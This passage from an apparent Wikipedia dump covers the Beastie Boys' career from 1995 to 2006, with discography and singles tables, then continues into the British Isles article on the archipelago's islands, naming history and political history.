In 1995, the popularity of the Beastie Boys was underlined when tickets for an arena tour went on sale in the US and sold out within a few minutes. One dollar from each ticket sold went to local charities. Beastie Boys toured South America and Southeast Asia for the first time. The band also released ''Aglio e Olio'', a collection of eight songs lasting for just eleven minutes harking back to their punk roots, in 1995. ''The In Sound From Way Out!'', a collection of [[jazz]]/[[funk]] instrumentals, was released on Grand Royal in 1996 with the title and artwork the same as a groundbreaking album by electronic music pioneers [[Perrey and Kingsley]].

==''[[Hello Nasty]]'' - 1998-2001==
Beastie Boys returned to New York City in 1997 to produce and record the album ''Hello Nasty''. The album displayed a substantial shift in musical feel, with the departure of [[DJ Hurricane]]. He was replaced by [[Mix Master Mike]], who added to the Beasties' sound with his kinetic DJ style. Released [[14 July]], [[1998 in music|1998]], ''Hello Nasty'' clocked first week sales of nearly 700,000 in the U.S. and went straight to #1 in the US, the UK, Germany, Australia, Holland, New Zealand, and Sweden. The album achieved #2 rank in the charts in Canada and Japan, and was in the Top Ten in Austria, Switzerland, Ireland, Belgium, Finland, France, and Israel. 

Beastie Boys won two [[Grammy Awards of 1999|Grammy Awards in 1999]]. The band received the [[Grammy Award for Best Alternative Music Album]] for ''Hello Nasty'', as well as the [[Grammy Award for Best Rap Performance by a Duo or Group]] for ''&quot;Intergalactic&quot;''. This was the first, and as of 2005, the only time that a band has won awards in both rap and alternative categories.

Beastie Boys started an arena tour in 1998. Through [[Ian C. Rogers]] the band made live downloads of their performances available for their fans but were temporarily thwarted when Capitol Records removed them from its website. Beastie Boys were one of the first bands who made mp3 downloads available on their website. Therefore they got a high level of response and public awareness. ''[[The Wall Street Journal]]'' published an article on the band's efforts. 

The 1999 Tibetan Freedom Concerts featured concerts at [[East Troy, Wisconsin]], [[Sydney]], [[Tokyo]] and [[Amsterdam]]. On [[28 September]] [[1999]], the Beastie Boys joined [[Elvis Costello]] to play ''&quot;Radio, Radio&quot;'' on the 25th anniversary of ''[[Saturday Night Live]]''.

Beastie Boys released ''The Sounds of Science'', a two-CD Anthology of their works in 1999. This album reached #19 on the Billboard 200, #18 in Canada, #6 on the Internet sales charts, and #14 on the R&amp;B/Hip Hop charts. The one new song, the single ''&quot;Alive,&quot;'' reached #11 on the Modern Rock charts.

In 2000, the Beastie Boys had planned to headline the &quot;Rhyme and Reason&quot; tour with [[Rage Against the Machine]], but the tour was cancelled when drummer Mike D suffered a serious injury due to a bicycle accident. The official diagnosis was 5th degree [[acromioclavicular joint]] dislocation, meaning he needed surgery and extensive rehabilitation. By the time he recovered, Rage Against the Machine had disbanded.

Adam &quot;Ad-rock&quot; Horovitz's side project [[BS 2000]] released ''[[Simply Mortified]]'' in 2001.

==''[[To the 5 Boroughs]]'' - 2002-present==
[[Image:Beastie_Boys_BigDayOut.jpg|frame|Beastie Boys, Big Day Out Melbourne Australia 2005. From left to right: Mix Master Mike, Alfredo Ortiz, MCA, Mike D, Adrock, Keyboard Money Mark (out of frame).]]
The band increased its level of  political activism after the [[September 11, 2001 attacks|September 11th, 2001 terrorist attacks]], organizing and headlining the New Yorkers Against Violence Concert in October, 2001. Funds from the concert went towards the [[New York Women's Foundation Disaster Relief Fund]] and the [[New York Association for New Americans (NYANA)]]. 

In 2002, the Beastie Boys started building a new studio facility, [[Oscilloscope]], in downtown [[Manhattan, New York]] and started work on a new album. The band released a [[protest song]], ''&quot;In A World Gone Mad&quot;'', against the [[2003 invasion of Iraq|2003 Iraq war]] as a free download on several websites, including the Milarepa website, the [[MTV]] website, [[MoveOn.org]], and [[Win Without War]]. It was the most downloaded track during April [[2003]]. The 19th and 20th Tibetan Freedom Concerts were held in Tokyo and Taipei - the Beastie Boys' first Taiwan appearance. Beastie Boys also headlined the [[Coachella Valley Music and Arts Festival]]. 

Their single ''&quot;Ch-Check It Out&quot;'' debuted on [[The O.C.]] in &quot;The Vegas&quot; episode from Season 1 which aired April 28 2004. [http://launch.yahoo.com/read/story/12057394 Yahoo Launch News Story]

''To The 5 Boroughs'' was released worldwide on [[15 June]] [[2004]]; it was the first album the Beastie Boys produced themselves. It reached #1 on the Billboard album charts, #2 in the UK and Australia, and #3 in Germany. The first single from the album, ''&quot;Ch-Check It Out&quot;'', has reached #1 in Canada, #2 on the US modern rock chart and world Internet download charts, and #3 on a composite world modern rock chart.

The album was the cause of some controversy with allegations that it installed [[spyware]] when inserted into the CD-ROM of a computer. [http://www.theregister.co.uk/2004/06/23/beastie_boy_cd_virus] The band has denied this allegation, defending that there is no copy protection software on the albums sold in the US and UK. While there is [[Macrovision CDS-200]] copy protection software installed on European copies of the album, this is standard practice for all European releases on [[EMI]]/Capitol Records released in Europe and it does not install spyware or any form of permanent software.

==Influence==
Beastie Boys are equally influential in rock and rap music history. Their blending of hip-hop and punk rock genres could be seen as a precursor to the [[rapcore]] and [[nu metal]] genres of the late 1990s, such as [[Limp Bizkit]] and [[KoЯn]]. The band  were also leaders in the use of sampling techniques,  with ''Paul's Boutique'' being notable for its effective use of samples. The influence of this album can be seen on [[Beck]]'s 1996 ''[[Odelay]]'' album (also produced by the [[Dust Brothers]]). Also, the Beastie Boys' success as a trio of white emcees may have paved the way for artists like [[Eminem]].

The chart consistency of the Beastie Boys must also be acknowledged. Since 1986, they have had four albums reach the top of the Billboard album charts: ''Licensed to Ill'', ''Ill Communication'', ''Hello Nasty'' and ''To The 5 Boroughs''. Few, if any, of the Beastie Boys' contemporaries have matched this feat.

==Cultural References==
* The ''&quot;Sabotage&quot;'' music video parodied 1970s police dramas, shot to resemble the opening credits of such a show.  
* The ''&quot;Intergalactic&quot;'' video parodied Japanese [[Kaiju]] films, featuring a giant robot destroying a city while breakdancing. 
* The matching tracksuits worn by the band in their post-''&quot;Hello Nasty&quot;'' stage performances, and projected images of New York trains and spraypaint graffitti murals, represent a retrospective incorporation of [[Old School]] hip hop culture.
*In the series ''[[Futurama (TV series)|Futurama]]'', the Beastie Boys are lampooned for releasing albums slowly.  Nevertheless, in the ninth episode of the first season, Mike D and Adrock provide the voices for themselves (though their characters were but heads preserved in jars).  Additionally, the viewer is treated to a humorously &quot;live&quot; performance of ''&quot;Intergalactic&quot;'' (quite obviously the album version).  The [[credit (creative arts)|ending credits]] also featured Adrock and Mike D performing a shout out to the show's characters over the Futurama [[theme song]].

==Band members==
Regular members (as of 2005):
* [[Michael Diamond]], aka Mike D -born [[November 20]] [[1965]];
* [[Adam Yauch]], aka MCA -born [[August 5]] [[1964]]; and
* [[Adam Horovitz]], aka Adrock -born [[October 31]] [[1966]].

Other contributing members:
* Michael Schwartz aka [[Mix Master Mike]] (DJ)
* [[Mario Caldato Junior]] aka Mario C (producer)
* John King and Mike Simpson aka [[The Dust Brothers]] (producers)
* Mark Ramos-Nishita aka [[Money Mark]] (keyboards, vocals, carpentry)
* Wendell Fite aka [[DJ Hurricane]] (DJ)
* [[Eric Bobo]] (percussion)
* [[Amery Smith]] aka AWOL (drums)
* Alfredo Ortiz (percussion)
*Biz Markie (did version of Elton John's Bennie and The Jets with the beastie boys, and also did a track called &quot;The Biz vs. The Nuge&quot;)

==Media==
{{listen|filename=Rhymin'andStealin'.ogg|title=Rhymin' and Stealin'|description=Sample of Rhymin' and Stealin' from [[Licensed to Ill]]|format=[[Ogg]]}}

==Discography==
{| border=&quot;2&quot; class=&quot;wikitable&quot; cellspacing=&quot;4&quot; cellpadding=&quot;4&quot;
|-
| '''Year''' || '''Title''' || '''Label'''
|-
| 1982 || ''[[Pollywog Stew]]'' ([[Extended play|EP]])
| Ratcage
|-
| 1983 || ''[[Cooky Puss]]'' ([[Extended play|EP]]) || Ratcage
|-
| 1984 || ''[[Rock Hard]]'' ([[Extended play|EP]]) || [[Def Jam]]
|-
| 1986 || ''[[Licensed to Ill]]'' || [[Def Jam]]
|-
| 1989 || ''[[Paul's Boutique]]'' || [[Capitol Records]]
|-
| 1992 || ''[[Check Your Head]]'' || [[Grand Royal]]
|-
| 1994 || ''[[Ill Communication]]'' || [[Grand Royal]]
|-
| 1994 || ''[[Some Old Bullshit]]'' || [[Grand Royal]]
|-
| 1995 || ''[[Aglio e Olio]]'' || [[Grand Royal]]
|-
| 1996 || ''[[The In Sound From Way Out! (Beastie Boys album)|The In Sound From Way Out!]]''
| [[Grand Royal]]
|-
| 1998 || ''[[Hello Nasty]]'' || [[Grand Royal]]
|-
| 1998 || ''[[Love American Style EP]]'' || [[Grand Royal]]
|-
| 1999 || ''[[The Sounds of Science]]''
| [[Capitol Records]]
|-
| 2003 || ''[[In A World Gone Mad]]'' || [[Capitol Records]]
|-
| 2004 || ''[[To the 5 Boroughs]]'' || [[Capitol Records]]
|-
| 2005 || ''[[Solid Gold Hits]]'' || [[Capitol Records]]
|}

==Singles==
{| class=&quot;wikitable&quot;
|rowspan=&quot;2&quot;|'''Year'''
|rowspan=&quot;2&quot;| '''Title'''
|colspan=&quot;5&quot;| '''Chart positions'''
|rowspan=&quot;2&quot;| '''Album'''
|-

|US [[Billboard Hot 100|Hot 100]]
|US [[Modern Rock Tracks chart|Modern Rock]]
|US [[Hot R&amp;B/Hip-Hop Singles &amp; Tracks|Hot Hip Hop]]
|US [[Hot Dance Music/Club Play|Hot Dance]]
|[[UK_Singles_Chart|UK]]
|- 
| [[1986 in music|1986]]
| &quot;The New Style&quot;
| -
| -
| #22
| -
| -
| ''Licensed to Ill''
|- 
| [[1986 in music|1986]]
| &quot;Hold It, Now Hit It&quot;
| -
| -
| #55
| -
| -
| ''Licensed to Ill''
|- 
| [[1987 in music|1987]]
| &quot;Paul Revere&quot;
| -
| -
| #34
| -
| -
| ''Licensed to Ill''
|- 
| [[1987 in music|1987]]
| &quot;The New Style/Paul Revere&quot;
| -
| -
| -
| #41
| -
| ''Licensed to Ill''
|- 
| [[1987 in music|1987]]
| &quot;Brass Monkey&quot;
| #48
| -
| #83
| -
| -
| ''Licensed to Ill''
|- 
| [[1987 in music|1987]]
| &quot;Fight For Your Right&quot;
| #7
| -
| -
| -
| #11
| ''Licensed to Ill''
|- 
| [[1987 in music|1987]]
| &quot;No Sleep Till Brooklyn&quot;
| -
| -
| -
| -
| #14
| ''Licensed to Ill''
|- 
| [[1987 in music|1987]]
| &quot;She's On It&quot;
| -
| -
| -
| -
| #10
| ''Licensed to Ill''
|- 
| [[1987 in music|1987]]
| &quot;Girls / She's Crafty&quot;
| -
| -
| -
| -
| #34
| ''Licensed to Ill''
|- 
| [[1989 in music|1989]]
| &quot;Hey Ladies/Shake Your Rump&quot;
| -
| -
| -
| #15
| -
| ''Paul's Boutique''
|- 
| [[1989 in music|1989]]
| &quot;Hey Ladies&quot;
| #36
| #18
| #10
| -
| -
| ''Paul's Boutique''
|- 
| [[1992 in music|1992]]
| &quot;So What'cha Want&quot;
| #93
| #22
| #18
| -
| -
| ''Check Your Head''
|- 
| [[1994 in music|1994]]
| &quot;Sabotage&quot;
| -
| #18
| -
| -
| -
| ''Ill Communication''
|- 
| [[1994 in music|1994]]
| &quot;Get It Together&quot;
| -
| -
| #43
| -
| -
| ''Ill Communication''
|- 
| [[1994 in music|1994]]
| &quot;Get It Together / Sabotage&quot;
| -
| -
| -
| -
| #19
| ''Ill Communication''
|- 
| [[1994 in music|1994]]
| &quot;Sure Shot&quot;
| -
| -
| -
| -
| #27
| ''Ill Communication''
|- 
| [[1998 in music|1998]]
| &quot;Intergalactic&quot;
| #28
| #4
| -
| -
| #5
| ''Hello Nasty''
|- 
| [[1998 in music|1998]]
| &quot;Body Movin'&quot;
| -
| -
| -
| -
| #15
| ''Hello Nasty''
|- 
| [[1999 in music|1999]]
| &quot;The Negotiation Limerick File&quot;
| -
| #29
| -
| -
| -
| ''Hello Nasty''
|- 
| [[1999 in music|1999]]
| &quot;Remote Control / 3 MCs And 1 DJ&quot;
| -
| -
| -
| -
| #21
| ''Hello Nasty''
|- 
| [[1999 in music|1999]]
| &quot;Alive&quot;
| -
| #11
| -
| -
| #28
| ''The Sounds of Science''
|- 
| [[2004 in music|2004]]
| &quot;Ch-Check It Out&quot;
| #68
| #1
| -
| -
| #8
| ''To the 5 Boroughs''
|- 
| [[2004 in music|2004]]
| &quot;Triple Trouble&quot;
| -
| 11
| -
| -
| #37
| ''To the 5 Boroughs''
|- 
| [[2004 in music|2004]]
| &quot;An Open Letter To NYC&quot;
| -
| -
| -
| -
| #38
| ''To the 5 Boroughs''
|}

==Unreleased Discography==
{| border=&quot;2&quot; class=&quot;wikitable&quot; cellspacing=&quot;4&quot; cellpadding=&quot;4&quot;
|-
| '''Year''' || '''Title''' || '''Label'''
|-
| 1996 || ''[[Don't Mosh In The Ramen Shop]] ([[Enhanced CD|ECD]])'' || [[Grand Royal]] / [[Turntable Media]]
|-
| 1999 || ''[[Country Mike's Greatest Hits]]'' || [[Grand Royal]]
|}

==Videography==
{| border=&quot;2&quot; class=&quot;wikitable&quot; cellspacing=&quot;4&quot; cellpadding=&quot;4&quot;
|-
| '''Year''' || '''Title''' || '''Label''' || '''Format'''
|-
| 1987 || ''&quot;Licensed To Ill&quot;'' || [[CBS]] / [[Fox Broadcasting Company|FOX]] || [[Laserdisc|LD]]
|-
| 1987 || ''&quot;Licensed To Ill&quot;'' || [[CBS]] / [[Fox]] || [[VHS]]
|-
| 1992 || ''&quot;The Skills To Pay The Bills&quot;'' || [[Pioneer Corporation|Pioneer]] / [[Capitol Records|Captiol]] || [[Laserdisc|LD]]
|-
| 1992 || ''&quot;The Skills To Pay The Bills&quot;'' || [[Grand Royal]] || [[VHS]]
|-
| 1994 || ''&quot;Sabotage&quot;'' || [[PMI (music)|PMI]] || [[VHS]]
|-
| 1995 || ''&quot;Sabotage&quot;'' || [[PMI (music)|PMI]] / [[EMI]] || [[Video CD|VCD]]
|-
| 1997 || ''&quot;Sabotage&quot;'' || [[Pioneer Corporation|Pioneer]] / [[Capitol Records|Captiol]] || [[Laserdisc|LD]]
|-
| 1997 || ''&quot;Sabotage&quot;'' || [[Grand Royal]] || [[DVD]]
|-
| 2000 || ''&quot;Beastie Boys Video Anthology&quot;'' || [[Grand Royal]] / [[The Criterion Collection]] || [[DVD]]
|}

In addition to the above releases, The Criterion Collection issued a promotional DVD single of ''Intergalactic'' in 2000. As well as this there have been some other promotional VHS and DVDs released by Capitol over the years, most notably ''The Hiatus Is Back Off, Again'' DVD which was released in the lead up to the release of [[To the 5 Boroughs]].

Furthermore, a movie titled ''[[Awesome; I Fuckin' Shot That!]]'' [http://www.imdb.com/title/tt0488953/], featuring a live performance on October 9, 2004 at [[Madison Square Garden]], is scheduled for release on March 31, 2006. Directed by [[Adam Yauch|Nathanial Hörnblowér]], it was taped by 50 fans in the crowd who were given [[Hi-8]] video cameras. The film was first screened on January 6, 2006, to the fans that shot the footage. It premiered at the [[Sundance Film Festival]] in January, and the DVD of the film will be released in July, 2006.
 
To promote the film, as well as their hits album, the Beasties performed a medley of classics from &quot;Three MC's and One D.J.&quot; to &quot;So Whatcha Want&quot; on [[Late Night with David Letterman]] on February 8, 2006.

==See also==
*[[List of best-selling music artists]]

==External links==
*[http://www.beastieboys.com/ Beastie Boys Official Website]
*[http://www.grandroyaldirect.com/ Grand Royal Direct]
*[http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=Bjgjteaz04x87 All Music Guide entry for Beastie Boys]
*[http://www.beastiemania.com/ Beastiemania] An unofficial information resource for all things Beastie

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  </page>
  <page>
    <title>British Isles</title>
    <id>3736</id>
    <revision>
      <id>42045633</id>
      <timestamp>2006-03-03T12:32:54Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* Subsequent political history */  dab. catholic</comment>
      <text xml:space="preserve">{{npov}}

:''For an explanation of often confusing terms like ([[Great Britain|Great]]) [[Britain]], [[United Kingdom]] and [[England]] see also [[British Isles (terminology)]].''
:''The &quot;British Isles&quot; is also an old name for the [[British and Irish Lions]] rugby team.''
[[Image:LocationBritishIsles.png|thumb|250px|The British Isles consist of Great Britain, Ireland and a number of much smaller surrounding islands.]]

The '''British Isles''' are the group of islands off the northwest coast of [[Europe]] including [[Great Britain]] (containing [[England]], [[Scotland]], [[Wales]]), and [[Ireland]] (containing [[Northern Ireland]] and the [[Republic of Ireland]]), and several thousand smaller adjacent islands such as the [[Isle of Man]] and [[Channel Islands]]. 

The term causes offence to some who believe that it implies a continued [[United Kingdom|British]] sovereignty over the Republic of Ireland, or that the Republic of Ireland is British in some sense. Many alternative names have been suggested, the most common of these being [[Britain and Ireland]] or simply 'these Isles/Islands' but none has achieved widespread acceptance.

&lt;br style=&quot;clear:both&quot; /&gt;
In terms of geography the term ''British Isles'' is understood in Britain to refer to the whole [[archipelago]], from Scilly to Shetland, containing more than 6,000 islands and totalling 315,134 km&amp;sup2; (121,674 square miles) of land. 

==List of the British Isles==
[[Image:United Kingdom satellite image.png|200px|thumb|right|Satellite Image of the British Isles (excluding [[Shetland]]) and part of northern [[Continental Europe]].]]
:''Main article: [[List of the British Isles|Complete list of the British Isles]]''
* [[Great Britain]]
** [[Northern Isles]] (including [[Orkney]], [[Shetland]] and [[Fair Isle]])
** [[Hebrides]] (including the [[Inner Hebrides]], [[Outer Hebrides]] and [[Small Isles]])
** [[Islands of the lower Firth of Clyde]] (including the [[Isle of Arran]] and [[Isle of Bute|Bute]])
** [[Anglesey]] (in [[Welsh language|Welsh]]: ''Ynys Môn'')
** [[Lundy]]
** [[Isles of Scilly]]
** [[Isle of Wight]]
** [[Lindisfarne]]
** [[Portsmouth Islands]] (including [[Portsea]] and [[Hayling Island]])
* [[Ireland]]
**[[Ulster]]: [[Arranmore]], [[Tory Island]]
***[[Northern Ireland]]: [[Rathlin Island]]
**[[Connacht]]: [[Achill Island]], [[Clew Bay|Clew Bay islands]], [[Inishturk]], [[Inishbofin]], [[Inishark]], [[Aran Islands]]  
**[[Munster]]: [[Blasket Islands]], [[Valentia Island]], [[Cape Clear ]], [[Sherkin Island]], [[Great Island]]  
**[[Leinster]]: [[Lambay Island]], [[Ireland's Eye]]
* [[Isle of Man]]
* [[Channel Islands]]&lt;sup&gt;[[#Footnotes|1]]&lt;/sup&gt;
* [[Rockall]]&lt;sup&gt;[[#Footnotes|2]]&lt;/sup&gt;
Many other small islands are not listed.

==Origin of the term ''British Isles''==
In classical times, foreign sources used &quot;Brit-&quot; or &quot;Prit-&quot; with various endings and native sources used ''oceani insulae'' meaning &quot;islands of the ocean&quot; or ''insularum'' meaning &quot;islands&quot;. Only in modern times has ''British Isles'' entered the [[English language]].   This usage has been justified by terms used by classical geographers to describe the island group. 

===Classical geographers===
The inhabitants of Britain in classical times were apparently called the ''Priteni''
by classical writers of geographies, who named the group of islands after these inhabitants, using a transliteration into their own language such as [[Latin]] (e.g. ''Bretannae'') or [[Greek language|Greek]] (e.g. &amp;Beta;&amp;rho;&amp;eta;&amp;tau;&amp;tau;&amp;alpha;&amp;nu;&amp;omega;&amp;nu;). ''Irene'' was the word they used for the island of Ireland, after the [[Érainn]] of its southern coasts. 

Throughout Book 4 of his ''Geography'', [[Strabo]] is consistent in spelling the island Britain (transliterated) as ''Prettanikee''; he uses the terms ''Prettans'' or ''Brettans'' for the islands as a group. For example, in Geography 2.1.18, &quot;...&amp;omicron;&amp;iota; &amp;nu;&amp;omicron;&amp;tau;&amp;iota;&amp;omega;&amp;tau;&amp;alpha;&amp;tau;&amp;omicron;&amp;iota; &amp;tau;&amp;omega;&amp;nu; &amp;Beta;&amp;rho;&amp;eta;&amp;tau;&amp;tau;&amp;alpha;&amp;nu;&amp;omega;&amp;nu; &amp;beta;&amp;omicron;&amp;rho;&amp;eta;&amp;iota;&amp;omicron;&amp;tau;&amp;eta;&amp;rho;&amp;omicron;&amp;iota; &amp;tau;&amp;omicron;&amp;upsilon;&amp;tau;&amp;omicron;&amp;nu; &amp;eta;&amp;iota;&amp;sigma;&amp;iota;&amp;nu;&quot;. (...the most southern of the Brettans are further north than this)&lt;sup&gt;[[#Footnotes|3]]&lt;/sup&gt;. He was writing around AD 10, although the earliest surviving copy of his work dates from the 6th century.

[[Pliny the Elder]] writing around AD 70 uses a Latin version of the same terminology in section 4.102 of his ''[[Pliny's Natural History|Naturalis Historia]]''. He writes of Great Britain: ''Albion ipsi nomen fuit, cum Britanniae vocarentur omnes de quibus mox paulo dicemus.'' (Albion was its own name, when all [the islands] were called the Britannias; I will speak of them in a moment). In the following section, 4.103, Pliny enumerates the islands he considers to make up the Britannias, listing Great Britain, Ireland, and many smaller islands.

[[Ptolemy]] is quite clear that Ireland &amp;ndash; he calls it ''Hibernia'' &amp;ndash; belongs to the group he calls ''Britannia''. He entitles Book II, Chapter 1 of his ''Geography'' as ''Hibernia, Island of Britannia''.

===Native sources===
The early surviving discussion of the geography is almost exclusively in classical languages. The &quot;British Isles&quot; terminology of the classical geographers is found in English only in documents written after the [[Reformation]].

The earliest [[indigenous]] source to use a collective term for the archipelago is the ''[[Life of Saint Columba]]'', a [[hagiography]] recording the [[missionary]] activities of the [[sixth century]] Irish monk [[Saint Columba]] among the peoples of Scotland. Written in the late seventh century by [[Adomnán of Iona|Adomnán]] of [[Iona]], an Irish monk living on the [[Inner Hebridean]] island with considerable [[Picts|Pictish]] interests, it must be considered an authority as regards the totality of relationships within the archipelago at that time. The collective term for the archipelago used within this work is '''Oceani Insulae''' meaning ''&quot;Islands of the Ocean&quot;'' (Book 2, 46 in the Sharpe edition = Book 2, 47 in Reeves edition) and it is used sparingly.

Another early native source to use a collective term is the ''[[Historia ecclesiastica gentis Anglorum]]'' of [[Bede]] written in the early eighth century. The collective term for the archipelago used within this work is ''insularum'' meaning &quot;islands&quot; (Book 1, 8) and it too is used sparingly.

The term does not appear to have entered [[English language]] usage until after the [[Reformation]]. The earliest quotation of ''&quot;British Isles&quot;'' given by the authoritative [[Oxford English Dictionary]] is in [[1621]].

===Renaissance mapmakers===
Continental mapmakers [[Gerardus Mercator]] ([[1512]]), [[Balthasar Moretus]] ([[1624]]), [[Giovanni Magini]] ([[1596]]), [[Abraham Ortelius]] ([[1570]]) and [[Sebastian Munster]] ([[1550]]) produced maps bearing the term &quot;British Isles&quot;. Ortelius makes clear his understanding that England, Scotland and Ireland were politically nominally at least separate in [[1570]] by the full title of his map: &quot;Angliae, Scotiae et Hiberniae, sive Britannicar. insularum descriptio&quot; which translates as &quot;a description of England, Scotland and Ireland, or the British Isles&quot;, additionally many maps from this period show Cornwall as a separate nation, most notably those of Mercator.

==Subsequent political history==
[[Image:UK MAPS.jpg|thumb|250px|right|Map of the British Isles showing the cities]]
By the time the Romans left in the [[5th century]] the peoples of the isles were differentiated into the [[Brython]]s in the lands that would become England, Cornwall, Wales and southern Scotland and the [[Picts]] in northern Scotland, while Ireland was dominated by several peoples ([[Attacotti]], [[The Connachta]], [[Ulaidh]]) including the [[Scottish people|Scotti (Scots)]] confederation who would shortly establish [[Dalriada]] in western Pictland. In the following centuries [[Anglo-Saxons]] formed the kingdom of [[Wessex]], pushing the British back into [[Wales]], [[Rheged|Cumbria]], [[Kingdom of Strathclyde|south-west Scotland]] and [[Dumnonia]] later to become [[Kernow]] (or [[Cornwall]]). [[Angles]] took over [[Kingdom of Northumbria|Northumbria]] and [[Gododdin|south-east Scotland]]. [[Viking]] invaders formed the [[Danelaw]] in eastern England and took over [[Caithness]], the [[Hebrides]], the [[Isle of Man]] and north-east Ireland, forming a settlement at [[Dublin]]. The Scots amalgamated with the Picts forming a [[Kingdom of Scotland|Scottish Kingdom]] which by the early [[11th century]] expanded to include the area of modern Scotland and Cumbria.

The [[Norman Conquest]] of [[1066]] brought England under [[Normans|Norman]] rule and their [[1072]] foray into Scotland left the first of a series of arguments as to whether the Scots accepted the suzerainty of the English kings. In [[1171]] King [[Henry II of England]] invaded Ireland, asuming the title [[Lord of Ireland]]. The Anglo-Normans settled as a ruling elite controlling much of Ireland, but over time the native Irish regained some territory and, outside the area of English authority around Dublin called the [[Pale]], the Norman lords adopted the Irish language and customs and became known as the [[Old English (Ireland)|&quot;Old English&quot;]]. This meant that Irish kingdoms such as Tir Eoghan, Tir Connall, [[Thomond]], Laois, [[Ui Failghe]] and others remained free of English rule till the early 17th century. 

In [[1140]] the [[Hebrides|Hebridean Islands]], the [[Isle of Man]] and [[Antrim]] came under the Norse-Gael rule of the [[Lord of the Isles]] who kept a varying degree of independence until the Hebrides were forfeited to Scotland in [[1493]]. From the early [[13th century]] the [[Scots language]] of south east Scotland was spread throughout the Lowlands, but the [[Scottish Highlands]] remained [[Scottish Gaelic language|Gaelic]] speaking and developed the semi-independent [[Scottish clan]] system. Wales came under English control with the [[Statute of Rhuddlan]] in [[1284]] and became part of the [[Kingdom of England]] by the [[Laws in Wales Acts 1535-1542]]. The English Kings became [[Kingdom of Ireland|Kings of Ireland]] as well in [[1541]], ruling through an Irish Parliament.

Scotland was still independent despite a series of disputes and wars with England, then in [[1603]] King [[James I of England|James VI of Scotland]] inherited the title James I of England, unifying the countries under a [[personal union|personal union of the crowns]]. While the governments of England and Scotland remained separate, King James proclaimed himself &quot;King of Great Brittaine&quot; on October 20th [[1604]], apparently with the political aim of creating a shared identity under his autocratic rule. Ireland was effectively being ruled as a colony of England and James expanded an existing policy of English settlers, adding Scots [[Presbyterian]]s and creating the &quot;[[Plantation of Ulster]]&quot; at the expense of the existing [[Roman Catholic Church|Roman Catholic]]s, both the native Irish and the &quot;Old English&quot;. As the century progressed the Civil [[Wars of the Three Kingdoms]] brought Irish rebellion with massacres alienating Protestants from Catholics and making Irish Catholics embittered about the English, tensions further reinforced in the [[Williamite war in Ireland|Jacobite war in Ireland]].

Scottish economic weakness against English protectionism lead to merger of the governments in the [[1707]] [[Act of Union 1707| Act of Union]] when the official name became The Kingdom of Great Britain, with pro-[[House of Hanover|Hanoverian]] Scots enthusiastically adopting the term &quot;North Britain&quot; as an alternative to &quot;Scotland&quot; for example &quot;The Royal Regiment of Scots Dragoons&quot; were renamed &quot;[[Scots Greys|The Royal North British Dragoons]]&quot; (later examples included the [[North British Magazine]] and the [[North British Railway]]). The [[Scottish Highlands|Scottish Highlanders]] were still Gaelic speaking and were derisively called &quot;Erse&quot; (Irish) by the [[Scottish Lowlands|Lowlanders]], but to end [[Jacobitism]] the [[Scottish clan]] system was crushed and they became fully British. A French-aided rebellion in Ireland in [[1798]] was defeated and Ireland was brought firmly under British government control by the [[1800]] [[Act of Union 1800|Act of Union]] in what became the United Kingdom of Great Britain and Ireland.

During the [[19th century]] famine and emigration affected the Irish and the Scottish Highlanders. Irish nationalist attempts to win independence peaked in the early [[20th century]] with the [[Anglo-Irish War|Anglo-Irish war of independence]] and the [[1922]] separation of the [[Irish Free State]], later becoming the [[Republic of Ireland]]. The mostly Protestant [[Northern Ireland|northeast]] continued to be part of what was now the [[United Kingdom]] of Great Britain and Northern Ireland, with a [[Northern Ireland Assembly]] which is at present suspended. Inspired by the Irish movement, nationalist parties developed in [[Scotland]], [[Wales]] and [[Cornwall]]. More recently Scotland has gained [[devolution|Home Rule]] with a [[Scottish Parliament]] and Wales a degree of home administration with the [[Welsh Assembly]], but both remain part of the unitary United Kingdom. Cornwall has not been granted any devolved power but a petition calling for a Cornish assembly has collected more than 50,000 signatures.

==Problems with modern usage==
Today the term ''[[Britain|British]]'' is usually used to describe people or things belonging to either Great Britain or the United Kingdom of Great Britain and Northern Ireland. However, many parts of the British Isles do not belong to the UK - including the [[Republic of Ireland]], the [[Isle of Man]], [[Guernsey]] and [[Jersey]]. 

Many people, particularly those from the [[Republic of Ireland]], find the term ''British Isles'' unacceptable and even offensive because of this.

Hostility to the term British Isles has often been caused by its misinterpretation; this was exemplified by an embarrassing and controversial ''faux pas'' by the then [[United States|American]] [[First Lady of the United States|First Lady]] [[Nancy Reagan]] during an Irish visit. The confusion caused by the term was also highlighted during a stop-over visit to the Republic of Ireland by then [[Soviet Union]] leader [[Mikhail Gorbachev]], when he indicated that he presumed Ireland's [[head of state]] was [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], given that she was the British Queen and his officials said that Ireland was a part of the British Isles.

The term ''British Isles'' is no longer used in Irish state documents, has been abandoned in schoolbooks in the Republic of Ireland and is being phased out of textbooks&lt;sup&gt;[[#Footnotes|4]]&lt;/sup&gt;.

==Alternative terms==
Many have suggested replacements for the term ''British Isles'' but none has yet won universal acceptance. Sometimes, an ambiguous phrase such as &quot;these Isles&quot; or &quot;the Isles&quot; is used, thus utilising the same logic used when referring to the [[Persian Gulf]] as the &quot;Gulf&quot;. In cases where what is being referred to is the two largest islands, the term &quot;Great Britain and Ireland&quot; [http://www.therai.org.uk/] can be used, but this risks confusion with the common term &quot;Great Britain and ''Northern'' Ireland&quot;. 

In the context of the [[Northern Ireland]] peace process the term ''[[Islands of the North Atlantic]]'' (IONA), a term initially created by former [[Conservative Party (UK)|Conservative Party]] MP [[John Biggs-Davison|Sir John Biggs-Davison]], has been used as a neutral term to describe the 'British Isles', but in a wider context the term might be misunderstood as including [[Iceland]], [[Greenland]], the [[Azores]] and other islands.

A more geographically accurate and slightly less ambiguous phrase, &quot;North-Western Europe&quot;, is starting to find favour, especially in Ireland; however, the term has often been used before to refer to northern France, Germany and the Low Countries. The phrase &quot;North European Archipelago&quot; is somewhat whimsical, but even more accurate. Both of these suffer, however, from [[euroscepticism|political issues]] associated with the word &quot;European&quot;, particularly in the United Kingdom.

The phrase &quot;the Anglo-Celtic Isles&quot; has also been suggested [http://www.studiegids.leidenuniv.nl/index.php3?c=17&amp;t=3&amp;q=aWQ9ODAwOA==&amp;v=&amp;k=8008] and is in some use, being both ethnically and geographically accurate and elegantly concise.

The term ''[[British Islands]]'' is not a potential alternative; this is an official term used for the United Kingdom and the [[Crown Dependencies]] [http://www.know-britain.com/general/great_britain.html], i.e. all of the isles except the Republic of Ireland.

==Footnotes==
